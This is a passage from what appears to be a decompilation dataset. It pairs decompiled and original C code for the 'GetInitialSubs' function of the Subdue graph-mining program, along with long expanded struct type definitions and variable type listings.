Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *" ], [ "parentSubListNode", "struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *" ], [ "extendedSubListNode", "struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *" ], [ "parentSub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "extendedSub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "recursiveSub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "limit", "unsigned long" ], [ "numBestSubs", "unsigned long" ], [ "beamWidth", "unsigned long" ], [ "valueBased", "unsigned char" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "prune", "unsigned char" ], [ "maxVertices", "unsigned long" ], [ "minVertices", "unsigned long" ], [ "outputLevel", "unsigned long" ], [ "recursion", "unsigned char" ], [ "evalMethod", "unsigned long" ] ], "return_type": "struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct SubList { struct _sub_list_node *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "166bb846a3b60507021e8a8c2ab9359a72b696ce5cbb63899fb343395646101e" }, { "name": "GetInitialSubs", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetInitialSubs(__int64 a1)\n{\n__int64 v2; // [rsp+10h] [rbp-70h]\n__int64 v3; // [rsp+10h] [rbp-70h]\n__int64 *v4; // [rsp+18h] [rbp-68h]\n__int64 v5; // [rsp+20h] [rbp-60h]\n__int64 v6; // [rsp+28h] [rbp-58h]\n__int64 v7; // [rsp+30h] [rbp-50h]\nunsigned __int64 v8; // [rsp+38h] [rbp-48h]\n__int64 v9; // [rsp+40h] [rbp-40h]\nunsigned __int64 *v10; // [rsp+48h] [rbp-38h]\nunsigned __int64 *v11; // [rsp+50h] [rbp-30h]\n__int64 v12; // [rsp+58h] [rbp-28h]\nunsigned __int64 v13; // [rsp+58h] [rbp-28h]\n__int64 v14; // [rsp+60h] [rbp-20h]\n__int64 v15; // [rsp+68h] [rbp-18h]\nunsigned __int64 v16; // [rsp+70h] [rbp-10h]\nunsigned __int64 v17; // [rsp+70h] [rbp-10h]\nunsigned __int64 i; // [rsp+78h] [rbp-8h]\nunsigned __int64 j; // [rsp+78h] [rbp-8h]\n\nv11 = *(unsigned __int64 **)(a1 + 1536);\nv10 = *(unsigned __int64 **)(a1 + 1544);\nv9 = *(_QWORD *)(a1 + 1600);\nv8 = *(_QWORD *)(a1 + 1680);\nv14 = 0LL;\nif ( *(_BYTE *)(a1 + 1747) )\n{\nv14 = GetCurrentIncrementNum(a1);\nv12 = GetStartVertexIndex(v14, a1, 1LL);\nif ( *(_QWORD *)(a1 + 1680) > 2uLL )\nprintf(\"Start vertex index = %lu\\n\", v12);\n}\nelse\n{\nv12 = 0LL;\n}\nfor ( i = 0LL; i < *(_QWORD *)(v9 + 8); ++i )\n*(_BYTE *)(*(_QWORD *)(v9 + 16) + 24 * i + 16) = 0;\nv15 = 0LL;\nv7 = AllocateSubList();\nfor ( j = v12; j < *v11; ++j )\n{\nv6 = *(_QWORD *)(v11[2] + 40 * j);\nif ( !*(_BYTE *)(*(_QWORD *)(v9 + 16) + 24 * v6 + 16) )\n{\n*(_BYTE *)(*(_QWORD *)(v9 + 16) + 24 * v6 + 16) = 1;\nv5 = AllocateGraph(1LL, 0LL);\n**(_QWORD **)(v5 + 16) = v6;\n*(_QWORD *)(*(_QWORD *)(v5 + 16) + 8LL) = 0LL;\n*(_QWORD *)(*(_QWORD *)(v5 + 16) + 16LL) = 0LL;\nv4 = (__int64 *)AllocateSub();\n*v4 = v5;\nv4[3] = AllocateInstanceList();\nv16 = *v11;\ndo\n{\n--v16;\nif ( v6 == *(_QWORD *)(v11[2] + 40 * v16) )\n{\nv2 = AllocateInstance(1LL, 0LL);\n**(_QWORD **)(v2 + 16) = v16;\n**(_QWORD **)(v2 + 64) = 0LL;\n*(_QWORD *)(*(_QWORD *)(v2 + 64) + 8LL) = v16;\n*(_QWORD *)(v2 + 32) = 0LL;\nInstanceListInsert(v2, v4[3], 0LL);\n++v4[1];\n}\n}\nwhile ( v16 > j );\nif ( (unsigned __int64)v4[1] <= 1 )\n{\nFreeSub(v4);\n}\nelse\n{\nif ( v10 )\n{\nv4[6] = AllocateInstanceList();\nv17 = *v10;\nif ( *(_BYTE *)(a1 + 1747) )\nv13 = GetStartVertexIndex(v14, a1, 1LL);\nelse\nv13 = 0LL;\ndo\n{\n--v17;\nif ( v6 == *(_QWORD *)(v10[2] + 40 * v17) )\n{\nv3 = AllocateInstance(1LL, 0LL);\n**(_QWORD **)(v3 + 16) = v17;\n**(_QWORD **)(v3 + 64) = 0LL;\n*(_QWORD *)(*(_QWORD *)(v3 + 64) + 8LL) = v17;\n*(_QWORD *)(v3 + 32) = 0LL;\nInstanceListInsert(v3, v4[6], 0LL);\n++v4[4];\n}\n}\nwhile ( v17 > v13 );\n}\nEvaluateSub(v4, a1);\nSubListInsert(v4, v7, 0LL, 0LL, v9);\n++v15;\n}\n}\n}\nif ( v8 > 1 )\nprintf(\"%lu initial substructures\\n\", v15);\nreturn v7;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\n__int64 v2; // [rsp+10h] [rbp-70h]\n__int64 v3; // [rsp+10h] [rbp-70h]\n__int64 *v4; // [rsp+18h] [rbp-68h]\n__int64 v5; // [rsp+20h] [rbp-60h]\n__int64 v6; // [rsp+28h] [rbp-58h]\n__int64 v7; // [rsp+30h] [rbp-50h]\nunsigned __int64 v8; // [rsp+38h] [rbp-48h]\n__int64 v9; // [rsp+40h] [rbp-40h]\nunsigned __int64 *v10; // [rsp+48h] [rbp-38h]\nunsigned __int64 *v11; // [rsp+50h] [rbp-30h]\n__int64 v12; // [rsp+58h] [rbp-28h]\nunsigned __int64 v13; // [rsp+58h] [rbp-28h]\n__int64 v14; // [rsp+60h] [rbp-20h]\n__int64 v15; // [rsp+68h] [rbp-18h]\nunsigned __int64 v16; // [rsp+70h] [rbp-10h]\nunsigned __int64 v17; // [rsp+70h] [rbp-10h]\nunsigned __int64 i; // [rsp+78h] [rbp-8h]\nunsigned __int64 j; // [rsp+78h] [rbp-8h]\n\nv11 = *(unsigned __int64 **)(a1 + 1536);\nv10 = *(unsigned __int64 **)(a1 + 1544);\nv9 = *(_QWORD *)(a1 + 1600);\nv8 = *(_QWORD *)(a1 + 1680);\nv14 = 0LL;\nif ( *(_BYTE *)(a1 + 1747) )\n{\nv14 = GetCurrentIncrementNum(a1);\nv12 = GetStartVertexIndex(v14, a1, 1LL);\nif ( *(_QWORD *)(a1 + 1680) > 2uLL )\nprintf(\"Start vertex index = %lu\\n\", v12);\n}\nelse\n{\nv12 = 0LL;\n}\nfor ( i = 0LL; i < *(_QWORD *)(v9 + 8); ++i )\n*(_BYTE *)(*(_QWORD *)(v9 + 16) + 24 * i + 16) = 0;\nv15 = 0LL;\nv7 = AllocateSubList();\nfor ( j = v12; j < *v11; ++j )\n{\nv6 = *(_QWORD *)(v11[2] + 40 * j);\nif ( !*(_BYTE *)(*(_QWORD *)(v9 + 16) + 24 * v6 + 16) )\n{\n*(_BYTE *)(*(_QWORD *)(v9 + 16) + 24 * v6 + 16) = 1;\nv5 = AllocateGraph(1LL, 0LL);\n**(_QWORD **)(v5 + 16) = v6;\n*(_QWORD *)(*(_QWORD *)(v5 + 16) + 8LL) = 0LL;\n*(_QWORD *)(*(_QWORD *)(v5 + 16) + 16LL) = 0LL;\nv4 = (__int64 *)AllocateSub();\n*v4 = v5;\nv4[3] = AllocateInstanceList();\nv16 = *v11;\ndo\n{\n--v16;\nif ( v6 == *(_QWORD *)(v11[2] + 40 * v16) )\n{\nv2 = AllocateInstance(1LL, 0LL);\n**(_QWORD **)(v2 + 16) = v16;\n**(_QWORD **)(v2 + 64) = 0LL;\n*(_QWORD *)(*(_QWORD *)(v2 + 64) + 8LL) = v16;\n*(_QWORD *)(v2 + 32) = 0LL;\nInstanceListInsert(v2, v4[3], 0LL);\n++v4[1];\n}\n}\nwhile ( v16 > j );\nif ( (unsigned __int64)v4[1] <= 1 )\n{\nFreeSub(v4);\n}\nelse\n{\nif ( v10 )\n{\nv4[6] = AllocateInstanceList();\nv17 = *v10;\nif ( *(_BYTE *)(a1 + 1747) )\nv13 = GetStartVertexIndex(v14, a1, 1LL);\nelse\nv13 = 0LL;\ndo\n{\n--v17;\nif ( v6 == *(_QWORD *)(v10[2] + 40 * v17) )\n{\nv3 = AllocateInstance(1LL, 0LL);\n**(_QWORD **)(v3 + 16) = v17;\n**(_QWORD **)(v3 + 64) = 0LL;\n*(_QWORD *)(*(_QWORD *)(v3 + 64) + 8LL) = v17;\n*(_QWORD *)(v3 + 32) = 0LL;\nInstanceListInsert(v3, v4[6], 0LL);\n++v4[4];\n}\n}\nwhile ( v17 > v13 );\n}\nEvaluateSub(v4, a1);\nSubListInsert(v4, v7, 0LL, 0LL, v9);\n++v15;\n}\n}\n}\nif ( v8 > 1 )\nprintf(\"%lu initial substructures\\n\", v15);\nreturn v7;\n}", "original_code": "SubList *GetInitialSubs(Parameters *parameters)\n{\n SubList *initialSubs;\n ULONG i, j;\n ULONG vertexLabelIndex;\n ULONG numInitialSubs;\n Graph *g;\n Substructure *sub;\n Instance *instance;\n Graph *posGraph = parameters->posGraph;\n Graph *negGraph = parameters->negGraph;\n LabelList *labelList = parameters->labelList;\n ULONG outputLevel = parameters->outputLevel;\n ULONG currentIncrement = 0;\n ULONG startVertexIndex;\n if (parameters->incremental)\n {\n currentIncrement = GetCurrentIncrementNum(parameters);\n startVertexIndex = GetStartVertexIndex(currentIncrement, parameters, 1);\n if (parameters->outputLevel > 2)\n printf(\"Start vertex index = %lu\\n\", startVertexIndex);\n }\n else\n startVertexIndex = 0;\n for (i = 0; i < labelList->numLabels; i++)\n labelList->labels[i].used = 0;\n numInitialSubs = 0;\n initialSubs = AllocateSubList();\n for (i = startVertexIndex; i < posGraph->numVertices; i++)\n {\n vertexLabelIndex = posGraph->vertices[i].label;\n if (labelList->labels[vertexLabelIndex].used == 0)\n {\n labelList->labels[vertexLabelIndex].used = 1;\n g = AllocateGraph(1, 0);\n g->vertices[0].label = vertexLabelIndex;\n g->vertices[0].numEdges = 0;\n g->vertices[0].edges = ((void *)0);\n sub = AllocateSub();\n sub->definition = g;\n sub->instances = AllocateInstanceList();\n j = posGraph->numVertices;\n do\n {\n j--;\n if (posGraph->vertices[j].label == vertexLabelIndex)\n {\n instance = AllocateInstance(1, 0);\n instance->vertices[0] = j;\n instance->mapping[0].v1 = 0;\n instance->mapping[0].v2 = j;\n instance->minMatchCost = 0.0;\n InstanceListInsert(instance, sub->instances, 0);\n sub->numInstances++;\n }\n } while (j > i);\n if (sub->numInstances > 1)\n {\n if (negGraph != ((void *)0))\n {\n sub->negInstances = AllocateInstanceList();\n j = negGraph->numVertices;\n if (parameters->incremental)\n startVertexIndex =\n GetStartVertexIndex(currentIncrement, parameters, 1);\n else\n startVertexIndex = 0;\n do\n {\n j--;\n if (negGraph->vertices[j].label == vertexLabelIndex)\n {\n instance = AllocateInstance(1, 0);\n instance->vertices[0] = j;\n instance->mapping[0].v1 = 0;\n instance->mapping[0].v2 = j;\n instance->minMatchCost = 0.0;\n InstanceListInsert(instance, sub->negInstances, 0);\n sub->numNegInstances++;\n }\n } while (j > startVertexIndex);\n }\n EvaluateSub(sub, parameters);\n SubListInsert(sub, initialSubs, 0, 0, labelList);\n numInitialSubs++;\n }\n else\n {\n FreeSub(sub);\n }\n }\n }\n if (outputLevel > 1)\n printf(\"%lu initial substructures\\n\", numInitialSubs);\n return initialSubs;\n}", "canonical_original_code": "struct SubList *GetInitialSubs(struct Parameters *parameters)\n{\n struct SubList *initialSubs;\n unsigned long i; unsigned long j;\n unsigned long vertexLabelIndex;\n unsigned long numInitialSubs;\n struct Graph *g;\n struct Substructure *sub;\n struct _instance *instance;\n struct Graph *posGraph = parameters->posGraph;\n struct Graph *negGraph = parameters->negGraph;\n struct LabelList *labelList = parameters->labelList;\n unsigned long outputLevel = parameters->outputLevel;\n unsigned long currentIncrement = 0;\n unsigned long startVertexIndex;\n if (parameters->incremental)\n {\n currentIncrement = GetCurrentIncrementNum(parameters);\n startVertexIndex = GetStartVertexIndex(currentIncrement, parameters, 1);\n if (parameters->outputLevel > 2)\n printf(\"Start vertex index = %lu\\n\", startVertexIndex);\n }\n else\n startVertexIndex = 0;\n for (i = 0; i < labelList->numLabels; i++)\n labelList->labels[i].used = 0;\n numInitialSubs = 0;\n initialSubs = AllocateSubList();\n for (i = startVertexIndex; i < posGraph->numVertices; i++)\n {\n vertexLabelIndex = posGraph->vertices[i].label;\n if (labelList->labels[vertexLabelIndex].used == 0)\n {\n labelList->labels[vertexLabelIndex].used = 1;\n g = AllocateGraph(1, 0);\n g->vertices[0].label = vertexLabelIndex;\n g->vertices[0].numEdges = 0;\n g->vertices[0].edges = ((void *)0);\n sub = AllocateSub();\n sub->definition = g;\n sub->instances = AllocateInstanceList();\n j = posGraph->numVertices;\n do\n {\n j--;\n if (posGraph->vertices[j].label == vertexLabelIndex)\n {\n instance = AllocateInstance(1, 0);\n instance->vertices[0] = j;\n instance->mapping[0].v1 = 0;\n instance->mapping[0].v2 = j;\n instance->minMatchCost = 0.0;\n InstanceListInsert(instance, sub->instances, 0);\n sub->numInstances++;\n }\n } while (j > i);\n if (sub->numInstances > 1)\n {\n if (negGraph != ((void *)0))\n {\n sub->negInstances = AllocateInstanceList();\n j = negGraph->numVertices;\n if (parameters->incremental)\n startVertexIndex =\n GetStartVertexIndex(currentIncrement, parameters, 1);\n else\n startVertexIndex = 0;\n do\n {\n j--;\n if (negGraph->vertices[j].label == vertexLabelIndex)\n {\n instance = AllocateInstance(1, 0);\n instance->vertices[0] = j;\n instance->mapping[0].v1 = 0;\n instance->mapping[0].v2 = j;\n instance->minMatchCost = 0.0;\n InstanceListInsert(instance, sub->negInstances, 0);\n sub->numNegInstances++;\n }\n } while (j > startVertexIndex);\n }\n EvaluateSub(sub, parameters);\n SubListInsert(sub, initialSubs, 0, 0, labelList);\n numInitialSubs++;\n }\n else\n {\n FreeSub(sub);\n }\n }\n }\n if (outputLevel > 1)\n printf(\"%lu initial substructures\\n\", numInitialSubs);\n return initialSubs;\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "initialSubs", "struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *" ], [ "i", "unsigned long" ], [ "j", "unsigned long" ], [ "vertexLabelIndex", "unsigned long" ], [ "numInitialSubs", "unsigned long" ], [ "g", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "sub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "instance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "posGraph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "negGraph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long 